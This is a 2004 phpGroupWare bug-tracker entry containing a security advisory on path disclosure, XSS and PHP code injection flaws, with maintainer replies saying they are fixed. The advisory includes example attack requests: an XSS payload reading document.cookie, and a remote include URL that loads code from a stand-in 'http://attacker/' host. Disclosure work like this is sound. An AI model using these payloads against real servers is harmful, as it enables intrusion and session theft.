bugphpGroupWare - Bugs: bug #7478, Multiple security holes in last...

 
 

You are not allowed to post comments on this tracker with your current authentication level.

bug #7478: Multiple security holes in last versions of phpgroupware

Submitted by:  None
Submitted on:  Tue 27 Jan 2004 05:57:00 PM UTC  
 
Item Group: 0.9.16RC3Category: None
Severity: 3 - NormalPriority: 9 - Immediate
Status: FixedPrivacy: Public
Assigned to: Dave Hall <skwashd>Open/Closed: Closed
Component Version: NoneOperating System: None
Reproducibility: Every TimePlanned Release: None
Fixed Release: 

Wed 25 Feb 2004 10:23:46 PM UTC, comment #2:

I have fixed all of these in cvs. A new official release will be out shortly.

Dave Hall <skwashd>
Project AdministratorIn charge of this item.
Wed 28 Jan 2004 09:14:55 AM UTC, comment #1:

I am working on this - give me 36 hours.

I more discreet "heads up" would have been appreciated.

Dave Hall <skwashd>
Project AdministratorIn charge of this item.
Tue 27 Jan 2004 05:57:00 PM UTC, original submission:

-------------------------------------------------------------------------------

Details :

Multiple PATH disclosure have been found on phpgroupware 0.9.14.00X and 0.9.16RC2.
Multiple XSS have been found on phpgroupware 0.9.14.00X and 0.9.16RC2.
A PHP code injection vulnerability has been found on phpgroupware 0.9.14.00X (X <= 5).

Vulnerable Systems:

  • phpgroupware 0.9.14.005 and prior

Severity :
High (PHP code injection)
Medium (XSS)
Low (PATH Disclosure)

Credit :
Cedric Cochin (cco@netvigilance.com)

-------------------------------------------------------------------------------
Examples :

-------------------------------------------

I - Path disclosure

Exploit example

-- START - HTTP Request --

http://[target/[phpgroupware_directory]/phpsysinfo/inc/hook_admin.inc.php]
http://[target/[phpgroupware_directory]/comic/inc/hook_home.inc.php]
http://[target/[phpgroupware_directory]/calendar/inc/class.holidaycalc.inc.php]
http://[target/[phpgroupware_directory]/news_admin/website/setup.inc.php.sample]

-- END --- HTTP Request --

-------------------------------------------

II - XSS

Exploit example

-- START - HTTP Request --

http://[target/[phpgroupware_directory]/index.php?menuaction=calendar.uicalendar.planner]
POST DATA: date="><script>alert(document.cookie)</script>

-- END --- HTTP Request --

-------------------------------------------

III - PHP Code Injection

The tables_update.inc.php script presents in the phpgwapi/setup/ directory
performs a PHP include() call.

/* Include older phpGroupWare update support */
include($appdir . 'tables_update_0_9_9.inc.php');
include($appdir . 'tables_update_0_9_10.inc.php');
include($appdir . 'tables_update_0_9_12.inc.php');

By defining the $appdir variable in the URL, an attacker creating a
"tables_update_0_9_9.inc.php" on the http://attacker web server can inject PHP
code.

For example: tables_update_0_9_9.inc.php = <?php print "<?php phpinfo();?>" ;?>

and the following request, will execute the phpinfo() command on the vulnerable target.

-- START - HTTP Request --

http://[target/[phpgroupware_directory]/phpgwapi/setup/tables_update.inc.php?appdir=http://attacker/]

-- END --- HTTP Request --

Version 0.9.14.007 is no more vulnerable due to the missing $appdir variable of
the include calls.
/* Include older phpGroupWare update support */
include('tables_update_0_9_9.inc.php');
include('tables_update_0_9_10.inc.php');
include('tables_update_0_9_12.inc.php');

Version 0.9.16RCX are not using anymore these include calls.
/* Include older phpGroupWare update support */
//include('tables_update_0_9_9.inc.php');
//include('tables_update_0_9_10.inc.php');
//include('tables_update_0_9_12.inc.php');

-------------------------------------------------------------------------------

Anonymous

 

No files currently attached

 

Depends on the following items: None found

Items that depend on this one: None found

 

CC list is empty

 

Do you think this task is very important?
If so, you can click here to add your encouragement to it.
This task has 0 encouragements so far.

Only logged-in users can vote.

 

Please enter the title of George Orwell's famous dystopian book (it's a date):

 

 

Follow 4 latest changes.

Date Changed By Updated Field Previous Value => Replaced By
Wed 25 Feb 2004 10:23:46 PM UTCskwashdItem GroupNone=>0.9.16RC3
  StatusNone=>Fixed
  Open/ClosedOpen=>Closed
Wed 28 Jan 2004 09:14:55 AM UTCskwashdAssigned toNone=>skwashd

Back to the top


Powered by Savane 3.1-cleanup1